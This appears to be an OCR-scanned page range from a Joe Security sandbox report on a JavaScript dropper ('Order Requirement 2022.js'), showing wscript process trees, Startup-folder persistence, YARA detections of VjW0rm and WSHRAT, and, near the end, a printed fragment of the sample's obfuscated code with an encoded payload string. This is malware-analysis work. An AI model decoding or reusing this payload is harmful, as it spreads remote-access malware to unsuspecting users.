6644 2 75 6e 6b 6e 6f 77 6e unknown
6646 13 75 6e 6b 6e 6f 77 6e unknown
6659 2 75 6e 6b 6e 6f 77 6e unknown
54936 20 75 6e 6b 6e 6f 77 6e unknown
54956 2 75 6e 6b 6e 6f 77 6e unknown

Options

sequential only |

synchronous io
non alert

Completion

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count Source Address

1

7FFA0955700A

Count Source Address

87
87
13
13
1020
1020
o)
)
84
84
40
40

7FFA0954E70B
7FFAQ0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B
7FFA0954E70B

Symbol

CopyFileW

Symbol

WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
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File Path

C:\Users\user\AppData\Roaming\ 0

Microsoft\Windows\Start Menu\P
rograms\Startup\Order Requirem:
2022.js

C:\Users\user\AppData\Roaming\ 0 26

Microsoft\Windows\Start Menu\P

rograms\Startup\Order Requirement

2022.js:Zone.ldentifier

File Path

Offset Length Value Ascii

129780 0a 20 20 66 75 6e 63 74 function jbxlog() { var
69 6f6e206a62786¢c str=""; try { for(

ent 6f672829207b0a20 vari=0;i<arguments.

20202076 61722073 length;i++) {

7472203d2022223b var argKey =

200a 202020207472 arguments|i][0];

79200a202020207b  varargValue = a

0a20202020202066 rguments[i][1]; var

617220282076 6172 str2=""; {

20 69 20 3d 20 30 20 3b

2069 20 3¢ 20 61 72 67

75 6d 65 6e 74 73 2e 6¢

65 6e 67 74 68 20 3b 20

69 20 2b 2b 20 29 0a 20

202020202020 20 7b

0a 20 20 20 20 20 20 20

20202076 61 72 20 61

72 67 4b 65 79 20 3d 20

617267 75 6d 65 6e 74

73 5b 69 5d 5b 30 5d 3b

20 0a 20 20 20 20 20 20

20202020 76 61 72 20

617267 56 61 6¢ 75 65

20 3d 20 61 72 67 75 6d

65 6e 74 73 5b 69 5d 5b

31 5d 3b 20 0a 20 20 20

20202020 20 20 20 76

6172207374723220

3d 20 22 22 3b 20 0a 20

20 20 20 20 20 20 20 20

20 7b 0a 20 20 20 20 20

202020 20 20 20 20

5b 5a 6f 6e 65 54 72 61

6e 73 66 65 72 5d 0d 0a
0d 0a 5a 6f 6e 65 49 64
3d 30

[ZoneTransfer]Zoneld=0

Offset Length

Analysis Process: wscript.exe PID: 6100, Parent PID: 2332

General

Target ID: 4
Start time: 15:5
Start date: 03/1
Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges: true

Has administrator true
privileges:

Programmed in:

Yara matches:

Reputation: high

Analysis Process: wsc

General

Copyright Joe Security LLC 2022

6:40
0/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js
0x7ff6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

C, C++ or other language

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

Completion

success or wait

success or wait

Completion

Count Source Address

1 7FFA0955700A

1 7FFA0955700A

Count Source Address

00000004.00000002.854554678.0000020016790000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000004.00000003.418142975.000002001662E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000004.00000003.355045063.000002001662E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000004.00000003.417946998.000002001662E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000004.00000002.851673503.000002001662E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

00000004.00000003.355010991.000002001662E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

ript.exe PID: 5412, Parent PID: 3324

Symbol

CopyFileW

CopyFileW

Symbol
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Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

5
15:5
03/1

6:40
0/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js

0x7ff6f06f0000

163840 bytes
9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

high

Analysis Process: wscript.exe PID: 2804, Parent PID: 1248

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

6
15:5
03/1

6:45
0/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js

0x71f6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

high

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000002.848811043.0000026E2ADF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000003.374542669.0000026E2A5EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000003.438571195.0000026 E2A5EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000003.439032554.0000026E2A5EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000003.374490943.0000026E2A5EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000006.00000002.845820210.0000026E2A5DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: wscript.exe PID: 1876, Parent PID: 3324

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

7

15:56:49

03/1

0/2022

C:\Windows\System32\wscript.exe

false

C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js

0x71f6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

Copyright Joe Security LLC 2022
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Analysis Process: wscript.exe PID: 3232, Parent PID: 3324

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

File Activities

8

15:56:59

03/10/2022

C:\Windows\System32\wscript.exe

false

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CeklalTska.js"

0x7ff6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000008.00000002.831690125.0000029D80281000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000008.00000003.394046563.0000029D80067000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000008.00000002.823248453.0000029D80067000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
00000008.00000002.891143613.0000029DFD8AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes Options Completion Count Source Address
Offset Length Value Ascii Completion Count Source Address
Offset Length Completion Count Source Address

Analysis Process: wscript.exe PID: 5292, Parent PID: 3324

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

9

15:57:08

03/10/2022

C:\Windows\System32\wscript.exe

false

Symbol

Symbol

Symbol

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Order Requirement 2022.js"

0x7f6f06f0000

163840 bytes

9A68ADD12EB50DDE7586782C3EBIFFIC

false

false

C, C++ or other language

Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.436933297.000001 A3A0C9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.436804080.000001 A3A0C8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.436967612.000001 A3A0CC6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000002.459088306.000001A3A05B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.442339424.000001 A3A0CC6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.437852144.000001A3A0010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.436996885.000001A3A01A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.443498942.000001A3A024C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
00000009.00000003.436753264.000001 A3A0CA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Copyright Joe Security LLC 2022
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File Activities

File Created
File Path

C:\Users\user\AppData\Roaming\Order Requirement
2022.js\:Zone.ldentifier:$DATA

File Written
File Path
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Offset

0
39

41

51

53
101
6617
6631
6633
6644
6646
6659
54936
54956

C:\Users\user\AppData\Roaming\ 0

Order Requirement 2022.js

C:\Users\user\AppData\Roaming\ 0
Order Requirement 2022.js:Zone

.Identifier

File Path

Length Value

129780

26

Access Attributes Options
read data or list  device sequential only |
directory | synchronous io
synchronize | non alert
generic write
Ascii

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

75 6e 6b 6e 6f 77 6e unknown

0a 20 20 66 75 6e 63 74
69 6f 6e 20 6a 62 78 6¢

6f 67 28 29 20 7b Oa 20

20202076 61722073
747220 3d 20 22 22 3b
20 0a 2020 20 20 74 72
79 20 0a 20 20 20 20 7b
0a 20 20 20 20 20 20 66
6f 7220 28 20 76 61 72

20 69 20 3d 20 30 20 3b
2069 20 3¢ 20 61 72 67
75 6d 65 6e 74 73 2e 6¢
65 6e 67 74 68 20 3b 20
69 20 2b 2b 20 29 0a 20
2020 2020 20 20 20 7b
0a 20 20 20 20 20 20 20
20202076 61 7220 61
72 67 4b 65 79 20 3d 20
617267 75 6d 65 6e 74
73 5b 69 5d 5b 30 5d 3b
20 0a 20 20 20 20 20 20
2020202076 6172 20
6172 67 56 61 6¢ 75 65
20 3d 20 61 72 67 75 6d
65 6e 74 73 5b 69 5d 5b
31 5d 3b 20 0a 20 20 20
2020 2020 20 20 20 76
6172207374723220
3d 20 22 22 3b 20 0a 20
2020 20 20 20 20 20 20
20 7b 0a 20 20 20 20 20
2020 20 20 20 20 20

5b 5a 6f 6e 65 54 72 61

6e 73 66 65 72 5d 0d 0a
0d Oa 5a 6f 6e 65 49 64
3d 30

Offset

Analysis Process: wscript.exe PID: 2772, Parent PID: 5292

General
Target ID:
Start time:
Start date:
Path:

12
15:57:22
03/10/2022

C:\Windows\System32\wscript.exe

Copyright Joe Security LLC 2022

function jbxlog() { var
str="" try { for(
vari=0;i<arguments.
length ;i ++) {
var argKey =
arguments[i][0];
var argValue = a
rgumentsl[i][1]; var
str2 =", {

[ZoneTransfer]Zoneld=0

Length

Completion

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

success or wait

Completion

Count Source Address
1 7FFA0955700A
Count Source Address
87 7FFAQ0954E70B
87 7FFAQ0954E70B
13 7FFAQ0954E70B
13 7FFA0954E70B
1020  7FFA0954E70B
1020  7FFA0954E70B
22 7FFA0954E70B
22 7FFA0954E70B
84 7FFA0954E70B
84 7FFAQ0954E70B
40 7FFA0954E70B
40 7FFAQ0954E70B
4 7FFA0954E70B
4 7FFA0954E70B
1 7FFA0955700A
1 7FFA0955700A
Count Source Address

Symbol

CopyFileW

Symbol
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
WriteFile
CopyFileW

CopyFileW

Symbol

Page 45 of 63



Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\CeklalTska.js
Imagebase: 0x7ff6f06f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Yara matches:

Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000002.843784726.0000015319E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000003.513971058.0000015319E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000002.844278843.000001531A030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000003.444103192.0000015319E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000003.444077557.0000015319E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:
0000000C.00000003.514256730.0000015319E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: wscript.exe PID: 1956, Parent PID: 5292

General

Target ID: 13

Start time: 15:57:22

Start date: 03/10/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js
Imagebase: 0x7ff6f06f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: false

Has administrator false
privileges:
Programmed in: C, C++ or other language

Yara matches:

Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000002.894056339.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.525478987.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000002.882434337.000001B9F39C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.475419032.000001B9F3810000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.525911410.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.524775302.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000002.890666886.000001B9F43C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.473292279.000001B9F43D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.525586861.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.473654682.000001B9F43BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.473826322.000001B9F43CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.473870911.000001B9F3994000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.525101810.000001B9F4488000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000003.475028155.000001B9F3803000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity WSHRAT, Description: Yara detected WSHRAT, Source:
0000000D.00000002.883442418.000001B9F3D60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: wscript.exe PID: 5776, Parent PID: 1956

General
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Target ID: 14

Start time: 15:57:39
Start date: 03/10/2022
Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js
Imagebase: 0x7ff6f06f0000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Yara matches: « Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

0000000E.00000002.845740262.000001E45640E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

0000000E.00000003.546167949.000001 E45640E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWOrm, Source:

0000000E.00000003.481502625.000001 E45640E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

0000000E.00000002.847586711.000001E4568C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_VjWO0rm, Description: Yara detected VjWO0rm, Source:

0000000E.00000003.546431289.000001E45640E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity VjWO0rm, Description: Yara detected VjWO0rm, Source:

0000000E.00000003.481574240.000001E45640E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Disassembly

Code Analysis
JavaScript Code

Script:

Code
0 $5FZwLPDuLmhd3toN49z =

1 function (n) { $5FZwLPDuLmhd3toN49z(9) - "CreateObject”
Show all Function Runs
2 if ( typeof ( $5FZwLPDuLmhd3toN49z.list[n] ) == "string")
8 return $5FZwLPDuLmhd3toN49z.list[n].split (" ).reverse ( ).join (" ); "tcejbOetaerC".split("™) = t,c,e,j,b,0,et,a,e,r,.C
Show all Function Runs

4 return $5FZwLPDuLmhd3toN49z.list[n];

5 h

6 $5FZwLPDuLmhd3toN49z.list = [ />!/g, "vHBWeN212151", "uXWmnN5292711", "ambrqc15304531", "siKbij631881", "EVxaQ
M604764", "TnRnFI079312", "WEeKjw029371", "=0QD9pQD9pQD7BSKyJXZ0g2Y0F2YgOnCNsTKIVncOxib3ByKgICXcJCI
r!>Ca0FGUuUYGDINILpcDKINWYWNVZtFmTu!>XYgwSdmhSZsimR5B3bD5ycmpQD7kiMol3QgO0DIwFGlyFmdKOwegknc0
pQD9pQD7BSKyJXZog2YOF2YgOnCNsTKdVzWnxiliwligsCI1ZGIr!>iliwlisICRylzTaVkS3czVi!>yKg01MbdGir!>SXws1Zo
UGdpJ3VnVmUug2cKOwegkncOpQD7BSKoMnTg42bpR3YuVnZK0QfKOQfKOQfKOWOrFWZyJmCNsjclJWb15GbhimcINX
ZtVHbvZnLOIGIuJXd0VmcKOwOpgSbIRXau4WZg0DI0IGlyFmdKOwegkSKoQHel5UZ29Wbu4WZ7kCKk5WROFmLuVWIg
sDKgI3bmpQD7kycol3bOFmcl1WduVEI3Vmbg0DIuVGlyFmdKOwOp0VMbIHKm90cINmbhR3culkLpOFMbIHKONWZqJ2T
0V2Rg0DIzpQD7BSK20TPOhCImImCNONCNONCNsTZtFmT5FGbwNXaE5CdpBibyVHdIJnCNsHIINHbIBSfKOQfKOWOI1W
YOIXYsB3cpRkLOIGIuJXdOVmcKOwOpgSbIRXau4dWZg0oDIOImCNsHIpkCKOhXZOVmdvimLuV20pgCZuVEdh5iblFCI7g
Cly9mZKOwOpMHKy9GdhJXZtVnbFBydI5GI9!>iblpQD7kSXzsVeoY2TzV2YuFGdz5WSukyZtdHKONWZqJ2T0V2Rg0DIzp
QD7IiMi!>yKgcWb3BSPgcWb3pQD7BSKncCI90TIgiIHdzhCImImCNONCNsTZtFmT5FGbwNXaE5CdpBSPglHdzBichZnCN
sTKoOWZ0ImLuVGI9!>CdpBichZnCNsHIpkCKOhXZOVmdv1imLuV20pgCZuVEdh5ibIFCI7gCly9mZKOwOpMHKy9GdhJ
XZtVnbFBydI5GI9!>ibIBichZnCNsTKdNzW5hiZPNXZj5WYONnbJ5SKn12doQ3YIpmYPRXZHBSPgMnCNsjlyVGduV2Y5R
XayV3YINHXcR3bvJHXcR3cvhGbhN2bsxFXcxIOzRXbn1mbpdnig0DIn12dgIXY2pQD7BSKO0!>SP9!>iTo!>iZppQD9pQD9
pQD7sWYIJnYKOWOu9Wa0BXYD5CdpBibyVHdIJNCNsTKoOWZ0ImLuVGI9!>CdpBichZnCNsHIpkCKOhXZOVmdvimLuV
20pgCZuVEdh5iblFCI7gCly9mZKOwOpMHKy9GdhJXZtVnbFBydI5GI9!>ibIBichZnCNsTKdJzW5hiZPNXZj5WYONnbJ5S
KdBzW5hCdjVmai9EdIdEI9!>ycK0wegkiMgO0TPg4EKgYWaK0wOzBichZnCNsHIp4EKi9EIu9WaONmb1ZmCNOnCNsTKd5
0WghCdjVmai9EWIZXaONWQgcXZuBibyVHdIJNCNsHIp4EKYNEIu9WaONmb1ZmCNOnCNszcg4mc1RXZypQD79g2QgsCl
VByKgg2QgsCIU5EIr!'>CaDByKgg2QgsClpQDKIi9EIr!>CaDByKgkiMol2TgsCloNEIr!>SKiUUTB5kUFNVVigCeFByKgg2Qg
sCIpISRNFKTSVEVVBVTPNklogXRgsCloNEIr!>iTWBSPgMnCNONnCNsjlP5klg0DIUSkCNsHIINHbIBSfKOWOiIMVRZJSPgQ
ITKOWegkSKiUGel5yYiZHXcdjM3!>TNu!>jLyYHXctmcvd XZtFmcGxFXUVkTuQnZvN3byNWaNxFXi!>yKgkilylGZul2VigC
eFhycONXa4VWZsimZuMnZo!>iZppQD7kGLU5ELzBichZnCNsHIpgiZuBibviGdj5WdmpQD9pQD7QHelRXZz52bwNXZy5
CWg4mc1RXZypQD7kSQoQmbINNLYpQD7kSKoYmbsliO05WZnFULyV2cVJCKyVGZhVGSONXZ1FXZSRXZT5CWKOwO
pU2csFmZgwyQgsCIn8CN3kzN6gTOx4SMzljL2MjMuUDOXx8yL6!>Hd0h2JscCVTIEUNgiblB3buglCNsTKzgicDBSPggFly
FmdKOwegkSQsMEKOBFIu9Wa0Nmb1ZmCNOnCNsTKiUilgsCITByKgISJigycn5WayR3U05WZt52bylmduVEZuFGc4VkL
oNHIuJXd0VmcKOwegkyUogXRg42bpR3YuVnZKOwOgkSZ1JHdo!>SZs|Ga3BSfKOWOp!>DMwcDKwVWZsNILOBXayN2U
XpQD9pQD7BSKyJXZog2YOF2YgOnCNONCNsTKyMHKuVncug2cKOwWOpgSZz9GbD5SampQD7kSXxsFUoUGdpJ3Vukm
ZKOwOpUWdyRHLYMHKIXWaGRHelRVZOFWZyNkLzZGI9!>SamBichZnCNsTXysFUgsCliwFXi!>yKgkilw1WZ0JCK4VEI9!
>iMzBichZnCNsHIpliRSJCI90TPgOFMbBFKgYWaK0QfKOwOpEDKOIWdR5CdwimcjN1VKOwOplzcowWY2VmCNsTKpdW
ZyxillUmTnJdVJigSZjFGbwVmcukickZHLIIHZmNXJigSZjFGbwVmcukib3xiluViloU2YhxGclJnLpUnZsliZIICKINWYsBXZy
5iMzBSPglzcKOwOiQkMy8kWFpON3clig0DIpdWZyBichZnCNsTdmBSPgIHZ2BichZnCNsTXxsFUg0DIlyMHIyFmdKOwegk
iluVlig0TP9!>SXwsFUo!>iZppQD9pQD7kSMoQXa1FILOBXayN2UXpQD7kiNslilcJCIr!>iMzByKglilcBiQv8CllhXZuQHcpJ
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3Yzdnlo4Wdy5CazpQD7kCKIN3bsNKLmR3YKOwOpU3ZoUGdpJ3VuYGdjpQD7kil8ZFfiwil8VFfigSZjFGbwVmcuU3Zg0DI
Code 1dmCNsTXxsFUg0DI1dGlyFmdKOwOpUWdyRHLYMHKIxXWaGRHelRVZOFWZyNkLzZGI9!>iZONGlyFmdKOwOdJzWQByK
gICXcJCIr!>SKi!>XbIRnlogXRg0DIlyMHIyFmdKOwegkilwVIig0TP9!>SXwsFUo!>iZppQD9pQD7kSMoQXa1FILOBXayN2U
XpQD7kiliwligsCIHZGIr!>iliwFIC9yLgUGel5CdwimcjN3digib1JnLoNnCNsTKoU2cvx2Quk2dKOwOpInZoUGdpJ3Vuk2dK
O0wOpU2csFmZsIDL1ZGKIxWaGRHelRIbIB3TuMnZg0DIpdHIyFmdKOwOp0VMbBFLdBzZWOZFKINWYsBXZy5icmBSPgin
ZKOwOplyXigCdpxGcz5iTWBSPg4kVKOwWOpgSZz9GbD5SaypQD7kCKsxWQkFWZS5SayBSPgInZgIXY2pQD7kSMsUnZ
oUGbpZEd4VGVuVGcP5ycmBSPgkmcglXY2pQD7BSKi4mUi!>SP90DIdBzZWQhCImImCNONCNsTKdFzZWQhCbhZXZK0
wegkil4Vkig0TP9!>SXwsFUo!>iZppQD9pQD7kiMzhib1JnLoNnCNsTKoU2cvx2QukmZKOwOp0VMbBFKIRXaydILpZmCN
sTKIVnc0xiMzhSZsImROhXZUVGdhVmcD5ycmBSPgkmZgIXY2pQD70IMbBFIr!>ilcxligsClplCctVGdigCeFBSPglzcgIXY
2pQD7BSKiM2Ui!>SP90DIdBzWQhCImImCNOnCNsTKxgCdpVXUuQHcpJ3YTdICNsHIpICbDJCI90TPgOFMbBFKgYWaK
O0wOpwGczhCdpxGez5CUg0DIQpQD7kyJnwyJlJnVngCdQBSPg!>FlyFmdKOwegkncOpQD7BybkpQD7kCKz5kCNOnCNO
nCNsTKdVzWnxSVs0IMbdGKIRXayd1ZIJILoONnCNsjIFNFTBZkigODIVpQD7BSZzxWZg0OnCNsTKdVzWnxSVs0IMbdGKIR
Xayd1ZIJILoNnCNsjIFVIUUJCI9!>SVKOwegkib3ByKgICXcpjlg0TPg0VMbZ3cgsCliwFX6ICKgYWaK0wOpICXcJCKOIGbw
NnL1ZGI9!>idzBichZnCNsHIpInclhCajRXYjBSfKOWOpOIMbdGKkFWZSdWZS5CazBSPgUICNsHISJHAKOwWOVBichZnCN
sTZtFmTOBXayN2UuQHcpJ3YTdFI9!>ib3BichZnCNsTZtFmTsxWdGRHcpJ3YT5CdwimcjN1VgODI1ZGlyFmdKOwOpYDKi
9EIr!>ilfJCIr!>iltJHM3pmdi!>SPg4kVgIXY2pQD7ICXcJCI9!>CaDBichZnCNsjl8ZFfi!>SPgwGczBichZnCNsTKxgicDBSPg
